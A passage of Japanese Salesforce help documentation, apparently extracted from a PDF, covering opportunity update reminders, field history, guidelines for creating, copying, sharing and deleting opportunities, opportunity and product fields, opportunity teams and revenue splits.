たとえば、チームのメンバーが所有する当四半期のすべての商談に関するウィー
クリーレポートをスケジュールし、そのレポートをチーム全員に配布すること
が考えられます。
1. 商談アップデートリマインダーが有効になっていることを確認します。
2. 個人設定から、[クイック検索]ボックスに「リマインダー」と入力し、[私の

アップデートリマインダー] を選択します。
3. 設定を保存した後、リマインダーを開始させたい場合は、[有効] にチェッ

クを入れます。
4. リマインダーの差出人の名前とアドレスを入力します。
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5. メール受信者のオプションを選択します。
6. [CC]項目に他の全メール受信者を入力します。メールアドレスは、カンマ、セミコロン、スペース、また

は改行で区切ります。
7. メールリマインダーに含める件名とメッセージを入力します。
8. スケジュールの頻度を選択します。
9. 完了日が指定の [完了予定日] の 90 日前までの期間内にあるすべての進行中の商談を含めるには、[更新さ

れていない進行中の商談を含む] を選択します。
たとえば、組織が通常の会計年度を使用しており、当四半期が 2012 年 4 月 1 日に開始したとします。当四
半期に完了した商談のアップデートリマインダーを設定して、[完了予定日を過ぎた商談も含む] を選択し
ます。アップデートリマインダーが 6 月 15 日に送信される場合、このアップデートリマインダーには 4 月
1 日～ 6 月 15 日までのすべての商談が含まれます。また、完了日が 1 月 2 日～ 4 月 1 日の間 (第 1 四半期は 91

日間) である進行中の商談も含まれます。

10. 商談の完了日が含まれる範囲を [完了予定日] に設定します。
11. メールリマインダーに含める項目を選択します。

説明項目

商談所有者の最終ログイン日最終ログイン日

レポート内の商談の合計数進行中の商談数

30 日間に更新されなかった商談の合計数過去 30 日内に更新のない商談数

レポート内の全商談の合計金額進行中の商談 金額

レポート内の完了した全商談の総金額。
組織でマルチ通貨を使用している場合は、この金額
がユーザの通貨に換算されます。組織が高度な通貨

完了した商談総金額

管理を使用している場合は、期間指定換算レートが
換算に使用されます。

商談所有者が売上予測を提出した最終日。
組織でマルチ通貨を使用している場合は、この金額
がユーザの通貨に換算されます。組織が高度な通貨

最終更新日

管理を使用している場合は、期間指定換算レートが
換算に使用されます。

12. [保存] をクリックします。
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商談アップデートリマインダーにレコードがない場合、Salesforceはメールを送信しません。商談アップデー
トリマインダーで、3 回連続してメールが送信されない場合は、スケジュールされたリマインダーが無効に
なります。

関連トピック:

商談アップデートリマインダーの有効化

商談のしくみについて

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Summer '09 よりも前に有
効化された組織のすべて
のエディション

使用可能なエディション:
Summer '09 以降に有効化
された組織の Group
Edition、Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

Salesforce 全体で商談をより効率的に使用できるように、次の主要概念を理解し
ておきます。

商談項目履歴
項目履歴では、フェーズの変更などの商談に対して行われた変更を追跡でき
るため、いつ誰が商談を変更したかをすばやく確認できます。
商談の使用に関するガイドラインと考慮事項
商談を最大限に活用するには、次のガイドラインと考慮事項を理解する必要
があります。

関連トピック:

商談
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商談項目履歴

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Summer '09 よりも前に有
効化された組織のすべて
のエディション

使用可能なエディション:
Summer '09 以降に有効化
された組織の Group
Edition、Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

ユーザ権限

商談を参照する
• 商談に対する「参照」

項目履歴では、フェーズの変更などの商談に対して行われた変更を追跡できる
ため、いつ誰が商談を変更したかをすばやく確認できます。
商談レコードの項目に対して行われた変更を追跡する関連リストは 2 つありま
す。
商談項目履歴

追跡するように設定した任意の標準またはカスタム商談項目をユーザが変更
すると、常に新しい履歴が [商談項目履歴] 関連リストに追加されます。履歴
のエントリごとに、変更の詳細と変更者が示されます。システム管理者は、
追跡する項目を選択できます。

フェーズの履歴
ユーザが [金額]、[確度]、[フェーズ]、または [完了予定日] 項目を変更す
ると、常に新しいエントリが [フェーズの履歴] 関連リストに追加されます。
履歴のエントリごとに、変更の詳細と変更者が示されます。システム管理者
は、追跡する項目を選択できません。

[金額] 項目と [数量] 項目への変更は、商談の商品やスケジュールの変更の結
果としてその項目が更新された場合でも追跡されます。

関連トピック:

標準オブジェクトの項目履歴管理
商談のしくみについて

商談の使用に関するガイドラインと考慮事項

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Summer '09 よりも前に有
効化された組織のすべて
のエディション

使用可能なエディション:
Summer '09 以降に有効化
された組織の Group
Edition、Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

商談を最大限に活用するには、次のガイドラインと考慮事項を理解する必要が
あります。

商談作成のガイドライン
Salesforce 組織の商談の多くは、評価済みリードの取引を開始したときに生成
されますが、Salesforce Classic や Lightning Experience で商談を手動で作成するこ
ともできます。
商談を削除する場合の考慮事項
Salesforce の商談を削除する前に、次の考慮事項を理解していることを確認し
てください。
商談をコピーする場合の考慮事項
商談をコピーすると、既存の商談と同じ情報が含まれる商談をすばやく作成
できます。Salesforce の商談をコピーする前に、次の考慮事項を理解している
ことを確認してください。
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商談を共有する場合の考慮事項
商談を他のユーザと共有してパイプラインを可視化することで、他のユーザから商談の成立に役立つ重要
な情報を得ることができます。商談を共有する前に、次の考慮事項を理解していることを確認してくださ
い。
類似商談を検索するためのガイドライン
自分の商談に類似する成立した商談に含まれる豊富な情報を利用して、迅速に商談を成立させます。商談
の成立に役立つ商談を検索するためのガイドラインを次に示します。
商談に商品を追加する場合の考慮事項
システム管理者または営業マネージャは、商品を商談に追加する前に主要な概念を考慮してください。

商談作成のガイドライン

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience

商談分割を使用可能なイ
ンターフェース: Salesforce
Classic

使用可能なエディション:
Summer '09 よりも前に有
効化された組織のすべて
のエディション

使用可能なエディション:
Summer '09 以降に有効化
された組織の Group
Edition、Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

商談分割およびテリト
リー管理を使用可能なエ
ディション: Performance
Edition および Developer
Edition と、Sales Cloud が
付属する Enterprise Edition
および Unlimited Edition

Salesforce 組織の商談の多くは、評価済みリードの取引を開始したときに生成さ
れますが、Salesforce Classicや Lightning Experienceで商談を手動で作成することもで
きます。
取引先責任者および取引先責任者の役割

• 商談を取引先または取引先責任者に関連付けるには、少なくとも取引先
または取引先責任者への参照アクセス権が必要です。

• Salesforce Classic では、取引先責任者レコードから商談を作成すると、商談
の [取引先責任者の役割] 関連リストの主担当として取引先責任者が自動
的に表示されます。Lightning Experience では、取引先責任者レコードから
商談を作成するときに、その取引先責任者に取引先責任者の役割を割り
当てるように求められます。

ディビジョン
組織でディビジョンを使用している場合、新規商談のディビジョンは、関連
する取引先のディビジョンに自動的に設定されます。

売上予測
• Professional Edition、Enterprise Edition、Unlimited Edition、Performance Edition、

Developer Edition では、作成する商談は、割り当てる商談フェーズに対応す
る売上予測分類に自動的に組み込まれます。システム管理者は、[フェー
ズ]選択リストの値を編集するときに、商談フェーズと売上予測分類を関
連付けます。

• 商談の完了が [完了予定日] で特定の月に設定されている場合、[商談] の
[売上予測分類] が [売上予測から除外] に設定されていなければ、商談は
その特定の月の売上予測に自動的に追加されます。

マルチ通貨
組織でマルチ通貨を使用している場合、商談金額は最初は個人設定の通貨で
表示されます。他の通貨で売上を追跡するには、[商談 通貨] 選択リストを
変更します。
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商談分割
チームセリングと合計が 100% になる分割が有効化されている場合、商談チームに自動的に追加され、最初
に 100% の分割が割り当てられます。

テリトリー管理
組織でテリトリー管理を使用している場合、次の両方の条件に一致すると、作成する商談がテリトリーに
自動的に割り当てられます。
• 商談の取引先と同じテリトリーに属しており、そのテリトリーに対する編集権限がある。
• その取引先と共通するテリトリーが他にない (「テリトリーの管理」権限がある場合は、取引先の親テ

リトリーを含むすべてのテリトリーに対してアクセス権があります。この場合、取引先が 1 つの最上位
テリトリーにのみ割り当てられていない限り、取引先と共通する他のテリトリーがあります。テリト
リーは商談には割り当てられません)。

商談を削除する場合の考慮事項

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Summer '09 よりも前に有
効化された組織のすべて
のエディション

使用可能なエディション:
Summer '09 以降に有効化
された組織の Group
Edition、Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

Salesforce の商談を削除する前に、次の考慮事項を理解していることを確認して
ください。
• システム管理者、商談の所有者、または組織のロール階層内で商談所有者の

上位にあり、商談の「削除」権限を持つユーザは、商談を削除できます。
• 商談を削除すると、関連するすべてのメモ、添付ファイル、見積、見積品目

名、見積 PDF ファイル、行動と ToDo、パートナー関係、競合の強み/弱み、
取引先責任者の役割、フェーズの履歴が削除されます。

• 削除された商談はごみ箱に移動され、元に戻すことができます。商談を元に
戻すと、関連項目もすべて復元されます。

• 商談を削除しても、関連する取引先責任者と取引先は削除されません。

関連トピック:

レコードの削除
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商談をコピーする場合の考慮事項

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Summer '09 よりも前に有
効化された組織のすべて
のエディション

使用可能なエディション:
Summer '09 以降に有効化
された組織の Group
Edition、Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

商談をコピーすると、既存の商談と同じ情報が含まれる商談をすばやく作成で
きます。Salesforce の商談をコピーする前に、次の考慮事項を理解していること
を確認してください。
• 項目に対するアクセス権が「参照のみ」の場合、その項目の値はコピーした

商談には含まれません。
• 商談に関連付けられた商談チームがある場合、そのチームはコピーされた商

談には含まれません。
• 固有のカスタム項目を含む商品が商談に関連付けられている場合は、そのカ

スタム項目の値を削除してから商談をコピーします。
• コピーボタンが表示されない場合、商談を作成する権限がないか、Salesforce

システム管理者がページレイアウトから削除した可能性があります。Salesforce

システム管理者にお問い合わせください。

メモ: 項目に対するアクセス権が「参照のみ」の場合、その項目の値はコ
ピーしたレコードには引き継がれません。

関連トピック:

商談の項目

商談を共有する場合の考慮事項

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Summer '09 よりも前に有
効化された組織のすべて
のエディション

使用可能なエディション:
Summer '09 以降に有効化
された組織の Group
Edition、Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

商談を他のユーザと共有してパイプラインを可視化することで、他のユーザか
ら商談の成立に役立つ重要な情報を得ることができます。商談を共有する前に、
次の考慮事項を理解していることを確認してください。
• システム管理者は、組織の共有モデル (テリトリーに対するデフォルトの商

談アクセスレベルを含む) を決定します。
• 商談へのアクセスを改善することは可能ですが、組織のデフォルトより低い

アクセスレベルに制限することはできません。
• 別のユーザと商談を共有するには、そのユーザに共有する商談に対する「参

照」権限が必要です。
• 共有の詳細ページには、商談への共有アクセス権を持つユーザ、グループ、

ロール、およびテリトリーが一覧表示されます。
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類似商談を検索するためのガイドライン

エディション

使用可能なインター
フェース: Salesforce Classic

使用可能なエディション:
Summer '09 よりも前に有
効化された組織のすべて
のエディション

使用可能なエディション:
Summer '09 以降に有効化
された組織の Group
Edition、Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

自分の商談に類似する成立した商談に含まれる豊富な情報を利用して、迅速に
商談を成立させます。商談の成立に役立つ商談を検索するためのガイドライン
を次に示します。
• 商談の詳細ページにある [類似商談] 関連リストを使用して、共通の情報が含

まれる成立した商談を検索します。
• 類似商談の検索に使用される条件は、システム管理者が決定します。検索で

は、3 か月以内の完了日を伴う最大 10,000 件の商談が検索され、検索条件に
最も一致する最大 300 件のレコードが表示されます。結果は、一致する項目
の数によって順位付けます。

• 完了予定日または一致する項目によって結果を絞り込むことができます。
• 検索結果のレコードが現在の商談とどの程度類似しているかを確認するに

は、商談名の上にマウスポインタを置きます。一致する項目が [一致条件] サ
イドバーで強調表示されます。

関連トピック:

類似商談の有効化と設定

商談に商品を追加する場合の考慮事項

エディション

商品と価格表を使用可能
なエディション: Salesforce
Classic と Lightning
Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

システム管理者または営業マネージャは、商品を商談に追加する前に主要な概
念を考慮してください。
• 商談の [金額] は、商談に追加する商品の合計金額です。商談から商品を削

除しない限り、[金額] は編集できません。
• 合計金額は、販売価格×数量の値です。
• Lightning Experience または Salesforce1 でスケジュールを設定した商品を追加で

きますが、Salesforce Classic に戻って商品スケジュールを有効にするか、商品
のスケジュールを設定または変更する必要があります。

• マルチ通貨組織の場合、商談の [通貨] は関連付けられた価格表エントリの
通貨に関連付けられます。商談から商品を削除しない限り、[通貨] は編集
できません。
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商談の項目

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能な項目は、使用
している Salesforce のエ
ディションによって異な
ります。

商談の項目には、進行中の販売や潜在的な販売の追跡に役立つさまざまな情報
が含まれています。ページレイアウト設定と項目レベルセキュリティ設定によっ
て、これらの項目には表示できないものや編集できないものがあります。

説明項目

商談がリンクしている取引先の名前。
取引先の名前を入力するか、ルック
アップアイコンを使用して取引先を選
択します。
パートナーを持つ商談の取引先を変更
すると、[パートナー] 関連リストから
すべてのパートナーが削除されます。

取引先名

売上の見積総額。マルチ通貨を使用し
ている組織では、金額は個人設定の通

金額

貨で表示されます (デフォルト)。他の
通貨で金額を追跡するには、[商談 通
貨] 選択リストを変更します。
商品が関連する商談では、関連商品の
合計金額です。商談に商品がある場
合、金額を直接編集できません。商品
を含む商談の金額を変更するには、関
連製品の販売価格または量を編集しま
す。
商品を持つ商談の価格表を変更する
と、[商品] 関連リストからすべての商
品が削除されますが、商談の [金額] 項
目にある値は残ります。

商談をクローズする予定の日付。日付
を入力するか、項目にカーソルを移動

完了予定日

したときに表示されるカレンダーから
日付を選択します。
売上予測を編集するときに [売上予測
から除外] カテゴリに割り当てられて
いない場合、特定の月の [完了予定日]

に関連する商談は、その月の売上予測
で計算されます。
進行中の商談の[フェーズ]を「成立」
タイプに設定すると、[完了予定日]が
現在の日付 (協定世界時 (UTC)) に設定さ
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説明項目

れます。特定の時間帯では、UTC と各自のタイムゾー
ンが 1 日ずれます。

商談がリンクされている契約。契約

作成日時を含む商談を作成したユーザ (参照のみ)。作成者

システム管理者が設定した商談のカスタムリンクのリ
スト。Salesforce Classic でのみ使用できます。

カスタムリンク

商談の説明。最大 32 KB までのデータを入力できます。
レポートには、最初の 255 文字だけが表示されます。

説明

計算される売上は [金額] 項目と [確度] 項目に基づ
いています。

期待収益

レポート、商談の詳細および編集のページ、商談の検
索、商談リストビューに表示される売上予測分類名。

売上予測分類

商談の設定は、その [フェーズ] に関連付けられてい
ます。売上予測分類についての詳細は、「売上予測
分類の使用」 (ページ 1822)を参照してください。

商談項目を最後に変更したユーザ、変更日時も含む。
ここでは、商談の関連リスト項目のいずれかに行った
変更は追跡しません (参照のみ)。

最終更新者

広告、パートナー、Web などの商談ソース。エントリ
は、システム管理者が設定した選択可能な値リストか

リードソース

ら選択したものです。選択リストの値には、40 文字
まで入力可能です。

商談のクローズ時の次の ToDo の説明。この項目は最
大 255 文字まで入力できます。

次のステップ

商談における、すべての通貨金額項目のデフォルト通
貨。金額は商談通貨で表示され、ユーザ個人設定の通

商談 通貨

貨に変換されます。マルチ通貨を使用する組織でのみ
表示されます。
商品が関連する商談の場合、通貨は関連付けられた価
格表の通貨に関連付けられます。最初に商品を削除し
ない場合、この項目を直接編集できません。

商談が属するディビジョン。この値は、関連する取引
先から自動的に継承されます。
ディビジョンを使用してデータを分割している組織で
のみ使用できます。

商談 ディビジョン
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説明項目

「Acme.com - オフィス機器注文」など、商談の名前。
この項目は最大 120 文字まで入力できます。

商談名

商談に割り当てられた所有者。Personal Edition では利用
できません。

商談所有者

どのような選択リスト値がそのレコードで使用可能か
を決定する項目名。レコードタイプは、セールスプロ

商談レコードタイプ

セスに関連する場合があります。使用可能なエディ
ションは、Professional Edition、Enterprise Edition、Unlimited

Edition、Performance Edition、および Developer Edition で
す。

商談をパートナーユーザが所有していることを示す、
参照用の項目。

パートナー取引先

商談の生成を行うキャンペーンの名前。
リード変換中に作成された商談では、この項目にリー
ドのキャンペーン名が自動的に設定されます。リード

主キャンペーンソース

に関連付けられたキャンペーンが複数ある場合、メン
バーの状況が最後に更新されたキャンペーンが、商談
に入力されます。
影響のある複数のキャンペーンに関連する商談では、
商談の詳細ページの [キャンペーンの影響] 関連リスト
の主要なキャンペーンの横にある[編集]をクリックし
て、[主キャンペーンソース]チェックボックスをオン
にします。キャンペーンは商談の[主キャンペーンソー
ス] 項目に表示されます。

商談が非公開であることを示します。レコードの所有
者と階層内でそのロールの上位にあるユーザのみが、

非公開

システム管理者は非公開の商談の参照、編集、および
レポートを実行できます。Group Edition または Personal

Edition では利用できません。非公開商談は大規模商談
アラートまたはワークフロールールをトリガしませ
ん。カスタマイザブル売上予測またはコラボレーショ
ン売上予測を有効化した場合にのみ、非公開の商談は
売上予測に対してカウントされます。「すべての売上
予測の参照」権限を持つユーザは、[売上予測] タブ内
に非公開の商談を表示できます。

メモ: 商談を非公開としてマークすると、商談
チーム、商談分割、共有が削除されます (非公開
の商談の所有者に、合計金額となる分割種別の
100% が割り当てられます)。
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説明項目

商談が完了する可能性 (%)。
[確度]値は、[確度]がページレイアウトで「参照の
み」とマークされている場合でも、[フェーズ] 値が

確度

変更されると必ず更新されます。この項目に対する編
集アクセス権を持つユーザは、値を上書きできます。

商談に製品がある場合は、[商品] 関連リストのすべて
の商品のすべての [数量] 項目値の合計。商談に製品
がない場合は、一般用の項目。

数量

見込み客や提案者など、定義済みリストから作成する
選択に基づく商談の現在のフェーズ。エントリは、シ

フェーズ

ステム管理者が設定した最大 100 の選択可能な値リス
トから選択したものです。選択リストの値には、40

文字まで入力可能です。
システム管理者は、商談が売上予測にどの程度貢献し
ているかを特定する売上予測分類の値に、この選択リ
ストの値を関連付けます。
進行中の商談の [フェーズ] を「成立」タイプに設定
すると、[完了予定日]が現在の日付 (協定世界時 (UTC))

に設定されます。特定の時間帯では、UTC と各自のタ
イムゾーンが 1 日ずれます。

商談に同期されている見積。商談に同期できる見積は
一度に 1 つのみです。

同期見積

商談が関連付けられている先のテリトリー。組織でテ
リトリー管理を行う場合のみ利用できます。

テリトリー

既存のビジネスや新規ビジネスなど、商談のタイプ。
エントリは、システム管理者が設定した選択可能な値

種類

リストから選択したものです。選択リストの値には、
40 文字まで入力可能です。

関連トピック:

商談商品の項目
商談
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商談商品の項目

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能な項目は、使用
している Salesforce のエ
ディションによって異な
ります。

商談商品の項目には、販売状況の追跡に役立つさまざまな情報が含まれていま
す。ページレイアウト設定と項目レベルセキュリティ設定によって、これらの
項目には表示できないものや編集できないものがあります。

説明項目

価格表エントリ (商品およびリスト価
格) が有効かどうか、および商談また
は見積に追加できるかどうか。

有効

製品を作成したユーザの名前。作成者

特定の商談商品の完了予定日。日付

商品の割引率 (%)。割引

商談商品項目を最後に変更したユーザ
(参照のみ)。

最終更新者

この商談商品を他の商談商品と識別す
るテキスト。

明細説明

価格表内の商品の価格 (通貨を含む)。リスト価格

この商談商品の商談の名前。商談

商談で [商品] 関連リストに表示されて
いる項目。

商品

商品の名前。商品

商談商品の単位数。数量

商談商品の商品の価格。販売価格

標準価格と割引価格の差額。組織の通
貨がユーザの通貨と異なる場合、換算
された通貨の金額が表示されます。

小計

この商談商品のすべての商品金額の合
計。

合計金額

関連トピック:

商談の項目
商談
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商談のためのチーム組成

商談チーム

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

商談チームとは、商談に協力して取り組む Salesforce ユーザで構成されるグルー
プです。
商談チームには、商談で作業をしているユーザと、各チームメンバーのロール
が表示されます。商談チームメンバーには商談およびその関連レコードへの特
殊なアクセス権を付与できるため、全員での協働作業が容易になります。
商談チームを使用すると、チームの作業の追跡も容易になります。商談レポー
トで、自分が所属する商談チームに商談を絞り込みます。Salesforce Classicで商談
のカスタムリストビューを作成または編集中に、[私の商談チーム] 検索条件を選
択します。

商談チームの使用に関するガイドライン
商談チームとは、商談に協力して取り組む Salesforce ユーザで構成されるグループです。商談チームを使用
している場合は、以下のガイドラインを参照してください。
商談チームメンバーの編集に関するガイドライン
商談チームメンバーのアクセスレベルやチーム内の役割などを変更して、商談チームメンバーに関する詳
細を最新の状態に維持します。チームメンバーを編集するときは、次のガイドラインで情報を参照してく
ださい。
商談チームからのメンバーの削除に関する考慮事項
チームを抜けたメンバーを削除して、商談チームを最新の状態に維持します。商談分割が有効になってい
る場合は、チームメンバーを削除する前に次の点に留意してください。
デフォルトの商談チームの設定および追加のガイドライン
通常商談を担当している同僚で構成されるデフォルトの商談チームを設定すると、時間を節約できます。
デフォルトチームを設定したら、自分が所有する商談に追加します。デフォルトの商談チームと商談に取
り組んでいるときは、次のガイドラインで追加情報を参照してください。
商談チームの項目
商談チームのデータは、次の標準項目に保存されます。

関連トピック:

商談分割
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商談チームの使用に関するガイドライン

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

商談の分割および商談
チームの設定を使用可能
なエディション: Salesforce
Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

商談の分割を使用可能な
エディション:
Performance Edition および
Developer Edition と、Sales
Cloud が付属する
Enterprise Edition および
Unlimited Edition

商談チームとは、商談に協力して取り組む Salesforce ユーザで構成されるグルー
プです。商談チームを使用している場合は、以下のガイドラインを参照してく
ださい。
• 自分が所有する商談、またはロール階層で自分より下位のユーザが所有する

商談に商談チームを設定します。
• 通常商談を担当しているユーザを含むデフォルトの商談チームを設定しま

す。すべての商談にデフォルトの商談チームを自動的に追加することを選択
できます。

• 商談チームを設定するときは、次の操作を行います。
– チームメンバーを追加します。
– 商談における各メンバーの役割を指定します (「担当役員」など)。
– 各チームメンバーの商談に対するアクセス権のレベル (「参照・更新」ま

たは「参照のみ」) を指定します。
• ある商談の商談チームを変更しても、デフォルトの商談チームや他の商談の

商談チームには影響ありません。
• Salesforce システム管理者が商談分割を有効にしている場合は、商談のクレ

ジットを商談チームのメンバー間で分割できます。
• 商談チームのメンバーを追加、編集、削除するには、商談に対する参照・更

新アクセス権が必要です。
• 非公開商談に商談チームを使用できません。

関連トピック:

デフォルトの商談チームの設定および追加のガイドライン
商談チームの項目
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商談チームメンバーの編集に関するガイドライン

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

商談の分割および商談
チームの設定を使用可能
なインターフェース:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

商談の分割を使用可能な
エディション:
Performance Edition および
Developer Edition と、Sales
Cloud が付属する
Enterprise Edition および
Unlimited Edition

商談チームメンバーのアクセスレベルやチーム内の役割などを変更して、商談
チームメンバーに関する詳細を最新の状態に維持します。チームメンバーを編
集するときは、次のガイドラインで情報を参照してください。
• 更新する必要のあるチームメンバーが [商談チーム] 関連リストに表示されな

い場合は、完全なリストを参照します。
• 商談チームメンバーの編集は、更新する必要のある商談チームメンバーの詳

細ページで行います。
• 分割率が割り当てられた無効ユーザを編集するときは、分割関連の項目のみ

を編集できます。
• Salesforce システム管理者がカスタム項目を定義した場合、[商談チームメン

バーの追加] ページにそのカスタム項目を追加していなくても、チームメン
バーを編集するときにその項目が表示されます。

• メンバーの商談へのアクセスレベルを、Salesforce 組織のデフォルトの商談共
有アクセス権より低くすることはできません。

関連トピック:

商談チームの使用に関するガイドライン
商談チームからのメンバーの削除に関する考慮事項
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商談チームからのメンバーの削除に関する考慮事項

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

商談の分割および商談
チームの設定を使用可能
なエディション: Salesforce
Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

商談の分割を使用可能な
エディション:
Performance Edition および
Developer Edition と、Sales
Cloud が付属する
Enterprise Edition および
Unlimited Edition

ユーザ権限

チームメンバーを削除す
る
• ユーザに対する「参

照」

および

商談に対する「編集」

および

商談の「所有者」、ま
たは組織のロール階層
で所有者よりも上位

自分がチームメンバーに
なっている商談を表示す
る
• 商談に対する「参照」

チームを抜けたメンバーを削除して、商談チームを最新の状態に維持します。
商談分割が有効になっている場合は、チームメンバーを削除する前に次の点に
留意してください。
• 削除するチームメンバーにゼロよりも大きい分割率が割り当てられている場

合は、そのメンバーを削除する前に分割を再割り当てします。
• 商談所有者は商談チームから削除できません。分割の計算からこのメンバー

を除外するには、このメンバーに割り当てる分割率をゼロにするか、商談の
所有権を移行します。

関連トピック:

商談チームメンバーの編集に関するガイドライン
商談チームの使用に関するガイドライン
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デフォルトの商談チームの設定および追加のガイドライン

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

通常商談を担当している同僚で構成されるデフォルトの商談チームを設定する
と、時間を節約できます。デフォルトチームを設定したら、自分が所有する商
談に追加します。デフォルトの商談チームと商談に取り組んでいるときは、次
のガイドラインで追加情報を参照してください。
• デフォルトの商談チームを設定するには、個人設定の [高度なユーザの詳細]

にアクセスします。
• デフォルトの商談チームを定義するときに、進行中のすべての商談にその

チームを自動的に追加することを選択できます。このオプションを選択しな
い場合は、商談の [商談チーム] 関連リストからデフォルトのチームを追加し
ます。

• [デフォルトチームの追加] をクリックすると、ボタンをクリックしたユーザ
のデフォルトチームではなく、商談所有者のデフォルトチームが追加されます。

• Salesforce システム管理者およびロール階層で自分より上位のユーザは、自分が所有する商談にデフォルト
の商談チームを追加できます。

関連トピック:

商談チーム

商談チームの項目

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

商談チームのデータは、次の標準項目に保存されます。

説明項目

チームメンバーが商談に対して持つア
クセスレベル。アクセスレベルは、
「参照・更新」または「参照のみ」で
すが、Salesforce 組織のデフォルトの商
談共有アクセス権より低くすることは
できません。

商談のアクセス権

チームメンバーが商談に対して果たす
役割 (「取引先マネージャ」など)。

チーム内の役割

チームの一員としてリストされるユー
ザ。

ユーザ

関連トピック:

商談チーム
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商談分割

エディション

使用可能なインター
フェース: Salesforce Classic

使用可能なエディション:
Performance Edition、
Developer Edition

使用可能なエディション:
Enterprise Edition および
Unlimited Edition (Sales
Cloud 付属)

商談分割を使用すると、商談の収益をチームメンバーと共有できます。これに
より、1 つの商談を処理しているチームメンバーが個々の営業クレジットを目標
に組み込み、チーム全体にレポートを提供できます。
Salesforce システム管理者により商談分割が有効化されており、商談の所有者、
または組織の階層内で所有者より上位である場合は、商談の分割を追加および
調整できます。
• 商談の収益を直接担当したチームメンバーにクレジットを与えるには、合計

が常に商談金額の 100% になる収益分割を使用します。
• サポートしたチームメンバーにクレジットを与えるには、合計が商談金額の

任意のパーセント (100% を超える場合もある) になるオーバーレイ分割を使用
します。

Salesforce 組織の [商談に基づいて分割 - 金額] 項目には、収益分割とオーバー
レイ分割が 1 つずつあります。組織でカスタム分割種別が有効になっていると、Salesforceシステム管理者は分
割種別をさらに 3 つ作成できます。システム管理者は、各分割種別の合計を常に 100% にするかどうかを決定
します。組織でカスタム分割種別を有効にするには、システム管理者にSalesforceに連絡するように依頼してく
ださい。
システム管理者は、商談分割にカスタム項目を作成して、チームメンバー用に作成する分割に関する情報をさ
らに効果的に追跡し、保存することもできます。

メモ: 分割は営業テリトリーに積み上げ集計できません。売上予測に分割を含める方法は、「売上予測種
別間の変更」を参照してください。

商談分割の作成の考慮事項
同僚と商談収益を共有するために商談分割を作成するには、次のガイドラインを参照してください。
商談分割の作成
商談からの収益をチームメンバーと共有するために、分割を追加および調整します。

関連トピック:

商談分割の作成
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商談分割の作成の考慮事項

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Performance Edition、
Developer Edition

使用可能なエディション:
Enterprise Edition および
Unlimited Edition (Sales
Cloud 付属)

同僚と商談収益を共有するために商談分割を作成するには、次のガイドライン
を参照してください。
• 商談所有者は自動的に商談チームに含まれ、初期状態では分割種別の 100%

が割り当てられ、分割種別の合計は常に 100% になります。
• 商談分割を編集しているときにチームメンバーを追加できない場合は、商談

のメインページにある [商談チーム] 関連リストでメンバーを追加します (分
割の編集中にメンバーを追加する場合は、Salesforce システム管理者にお問い
合わせください)。

• 特定の項目に分割が表示されない場合は、項目レベルセキュリティをSalesforce

システム管理者に確認してください。
• 分割種別の合計が常に 100% になるかどうかを判断するには、分割の説明で

「合計 100%」を検索します。
• 分割率は最大 2 桁です。3 桁以上の分割率が必要となる金額を入力すると、その金額は自動的に丸められま

す。

関連トピック:

商談分割の作成

商談分割の作成

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Performance Edition、
Developer Edition

使用可能なエディション:
Enterprise Edition および
Unlimited Edition (Sales
Cloud 付属)

ユーザ権限

商談チームメンバーに対
して分割を追加する
• 商談に対する「編集」

および

商談レコードの所有
者、または組織階層で
上位の所有者

商談からの収益をチームメンバーと共有するために、分割を追加および調整し
ます。
1. 商談の [商談の分割] 関連リストで、[商談の分割を編集] をクリックします。
2. 必要に応じて、項目に入力します。
3. 分割からチームメンバーを削除するには、チームメンバーの名前の横にある

または [削除] をクリックします。
4. 変更内容を保存します。

関連トピック:

商談分割の作成の考慮事項
商談分割
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競合の把握

競合の概要

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Summer '09 よりも前に有
効化された組織のすべて
のエディション

使用可能なエディション:
Summer '09 以降に有効化
された組織の Group
Edition、Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

懸案中の商談に関連する競合他社をリストアップして、その会社を追跡できま
す。新しい競合会社の会社名を入力するか、システム管理者が定義した競合会
社のリストから選択できます。この情報にアクセスするには、商談の [競合] 関
連リストに移動します。
